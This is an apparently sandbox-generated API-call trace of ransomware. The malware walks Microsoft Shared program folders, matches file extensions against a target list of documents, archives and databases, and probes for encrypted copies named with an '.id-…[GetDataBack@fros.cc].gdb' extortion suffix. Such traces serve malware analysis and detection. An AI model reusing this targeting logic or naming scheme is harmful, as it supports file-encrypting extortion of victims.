lstrlenW (lpString=".doc") returned 4 [0116.863] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0116.863] lstrlenW (lpString=".docx") returned 5 [0116.863] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0116.863] lstrlenW (lpString=".pdf") returned 4 [0116.863] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0116.863] lstrlenW (lpString=".xls") returned 4 [0116.863] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0116.863] lstrlenW (lpString=".xlsx") returned 5 [0116.863] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0116.863] lstrlenW (lpString=".ppt") returned 4 [0116.863] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0116.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.863] lstrlenW (lpString=".zip") returned 4 [0116.863] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0116.863] lstrlenW (lpString=".rar") returned 4 [0116.863] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0116.863] lstrlenW (lpString=".bz2") returned 4 [0116.863] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0116.863] lstrlenW (lpString=".7z") returned 3 [0116.863] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0116.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.863] lstrlenW (lpString=".dbf") returned 4 [0116.863] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0116.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.864] lstrlenW (lpString=".1cd") returned 4 [0116.864] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0116.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.864] lstrlenW (lpString=".jpg") returned 4 [0116.864] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0116.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.864] lstrlenW (lpString=".doc") returned 4 [0116.864] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0116.864] lstrlenW (lpString=".docx") returned 5 [0116.864] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0116.864] lstrlenW (lpString=".pdf") returned 4 [0116.864] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0116.864] lstrlenW (lpString=".xls") returned 4 [0116.864] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0116.864] lstrlenW (lpString=".xlsx") returned 5 [0116.864] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0116.864] lstrlenW (lpString=".ppt") returned 4 [0116.864] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0116.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.864] lstrlenW (lpString=".zip") returned 4 [0116.864] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0116.864] lstrlenW (lpString=".rar") returned 4 [0116.864] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0116.864] lstrlenW (lpString=".bz2") returned 4 [0116.864] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0116.864] lstrlenW (lpString=".7z") returned 3 [0116.864] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0116.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.864] lstrlenW (lpString=".dbf") returned 4 [0116.864] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0116.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.864] lstrlenW (lpString=".1cd") returned 4 [0116.864] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0116.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0116.864] lstrlenW (lpString=".jpg") returned 4 [0116.864] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0116.864] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.864] lstrlenW (lpString="base_ca.xml") returned 11 [0116.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.151] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=3166) returned 1 [0117.151] CloseHandle (hObject=0x1c0) returned 1 [0117.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0117.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.151] lstrlenW (lpString=".doc") returned 4 [0117.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.151] lstrlenW (lpString=".docx") returned 5 [0117.151] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0117.151] lstrlenW (lpString=".pdf") returned 4 [0117.151] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString=".xls") returned 4 [0117.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString=".xlsx") returned 5 [0117.152] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0117.152] lstrlenW (lpString=".ppt") returned 4 [0117.152] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.152] lstrlenW (lpString=".zip") returned 4 [0117.152] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.152] lstrlenW (lpString=".rar") returned 4 [0117.152] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString=".bz2") returned 4 [0117.152] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString=".7z") returned 3 [0117.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.152] lstrlenW (lpString=".dbf") returned 4 [0117.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.152] lstrlenW (lpString=".1cd") returned 4 [0117.152] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.152] lstrlenW (lpString=".jpg") returned 4 [0117.152] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.152] lstrlenW (lpString=".doc") returned 4 [0117.152] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString=".docx") returned 5 [0117.152] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0117.152] lstrlenW (lpString=".pdf") returned 4 [0117.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.152] lstrlenW (lpString=".xls") returned 4 [0117.153] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.153] lstrlenW (lpString=".xlsx") returned 5 [0117.153] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0117.153] lstrlenW (lpString=".ppt") returned 4 [0117.153] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.153] lstrlenW (lpString=".zip") returned 4 [0117.153] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.153] lstrlenW (lpString=".rar") returned 4 [0117.153] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.153] lstrlenW (lpString=".bz2") returned 4 [0117.153] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.153] lstrlenW (lpString=".7z") returned 3 [0117.153] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.153] lstrlenW (lpString=".dbf") returned 4 [0117.153] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.153] lstrlenW (lpString=".1cd") returned 4 [0117.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0117.153] lstrlenW (lpString=".jpg") returned 4 [0117.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.153] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.153] lstrlenW (lpString="base_heb.xml") returned 12 [0117.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.154] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=738) returned 1 [0117.154] CloseHandle (hObject=0x1c0) returned 1 [0117.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0117.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.155] lstrlenW (lpString=".doc") returned 4 [0117.155] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.155] lstrlenW (lpString=".docx") returned 5 [0117.155] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0117.155] lstrlenW (lpString=".pdf") returned 4 [0117.155] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.155] lstrlenW (lpString=".xls") returned 4 [0117.155] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.155] lstrlenW (lpString=".xlsx") returned 5 [0117.155] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0117.155] lstrlenW (lpString=".ppt") returned 4 [0117.155] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.155] lstrlenW (lpString=".zip") returned 4 [0117.155] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.155] lstrlenW (lpString=".rar") returned 4 [0117.155] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.155] lstrlenW (lpString=".bz2") returned 4 [0117.155] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.155] lstrlenW (lpString=".7z") returned 3 [0117.155] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.155] lstrlenW (lpString=".dbf") returned 4 [0117.155] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.156] lstrlenW (lpString=".1cd") returned 4 [0117.156] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.156] lstrlenW (lpString=".jpg") returned 4 [0117.156] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.156] lstrlenW (lpString=".doc") returned 4 [0117.156] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.156] lstrlenW (lpString=".docx") returned 5 [0117.156] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0117.156] lstrlenW (lpString=".pdf") returned 4 [0117.156] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.156] lstrlenW (lpString=".xls") returned 4 [0117.156] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.156] lstrlenW (lpString=".xlsx") returned 5 [0117.156] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0117.156] lstrlenW (lpString=".ppt") returned 4 [0117.156] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.156] lstrlenW (lpString=".zip") returned 4 [0117.156] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.156] lstrlenW (lpString=".rar") returned 4 [0117.156] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.156] lstrlenW (lpString=".bz2") returned 4 [0117.156] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.156] lstrlenW (lpString=".7z") returned 3 [0117.156] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.156] lstrlenW (lpString=".dbf") returned 4 [0117.156] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.157] lstrlenW (lpString=".1cd") returned 4 [0117.157] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0117.157] lstrlenW (lpString=".jpg") returned 4 [0117.157] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.157] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.157] lstrlenW (lpString="base_jpn.xml") returned 12 [0117.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.157] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=804) returned 1 [0117.157] CloseHandle (hObject=0x1c0) returned 1 [0117.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0117.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.158] lstrlenW (lpString=".doc") returned 4 [0117.158] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.158] lstrlenW (lpString=".docx") returned 5 [0117.158] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0117.158] lstrlenW (lpString=".pdf") returned 4 [0117.158] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.158] lstrlenW (lpString=".xls") returned 4 [0117.158] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.158] lstrlenW (lpString=".xlsx") returned 5 [0117.158] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0117.158] lstrlenW (lpString=".ppt") returned 4 [0117.158] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.158] lstrlenW (lpString=".zip") returned 4 [0117.158] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.158] lstrlenW (lpString=".rar") returned 4 [0117.158] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.158] lstrlenW (lpString=".bz2") returned 4 [0117.158] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.158] lstrlenW (lpString=".7z") returned 3 [0117.158] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.158] lstrlenW (lpString=".dbf") returned 4 [0117.158] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.159] lstrlenW (lpString=".1cd") returned 4 [0117.159] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.159] lstrlenW (lpString=".jpg") returned 4 [0117.159] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.159] lstrlenW (lpString=".doc") returned 4 [0117.159] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.159] lstrlenW (lpString=".docx") returned 5 [0117.159] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0117.159] lstrlenW (lpString=".pdf") returned 4 [0117.159] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.159] lstrlenW (lpString=".xls") returned 4 [0117.159] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.159] lstrlenW (lpString=".xlsx") returned 5 [0117.159] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0117.159] lstrlenW (lpString=".ppt") returned 4 [0117.159] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.159] lstrlenW (lpString=".zip") returned 4 [0117.159] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.159] lstrlenW (lpString=".rar") returned 4 [0117.159] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.159] lstrlenW (lpString=".bz2") returned 4 [0117.159] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.159] lstrlenW (lpString=".7z") returned 3 [0117.159] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.159] lstrlenW (lpString=".dbf") returned 4 [0117.159] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.160] lstrlenW (lpString=".1cd") returned 4 [0117.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0117.160] lstrlenW (lpString=".jpg") returned 4 [0117.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.160] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.160] lstrlenW (lpString="base_kor.xml") returned 12 [0117.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.161] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=488) returned 1 [0117.161] CloseHandle (hObject=0x1c0) returned 1 [0117.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0117.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.162] lstrlenW (lpString=".doc") returned 4 [0117.162] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.162] lstrlenW (lpString=".docx") returned 5 [0117.162] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0117.162] lstrlenW (lpString=".pdf") returned 4 [0117.162] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.162] lstrlenW (lpString=".xls") returned 4 [0117.162] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.162] lstrlenW (lpString=".xlsx") returned 5 [0117.162] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0117.162] lstrlenW (lpString=".ppt") returned 4 [0117.162] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.162] lstrlenW (lpString=".zip") returned 4 [0117.162] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.162] lstrlenW (lpString=".rar") returned 4 [0117.162] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.162] lstrlenW (lpString=".bz2") returned 4 [0117.162] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.162] lstrlenW (lpString=".7z") returned 3 [0117.162] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.162] lstrlenW (lpString=".dbf") returned 4 [0117.162] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.162] lstrlenW (lpString=".1cd") returned 4 [0117.162] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0117.162] lstrlenW (lpString=".jpg") returned 4 [0117.163] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.163] lstrlenW (lpString="C:\\Program 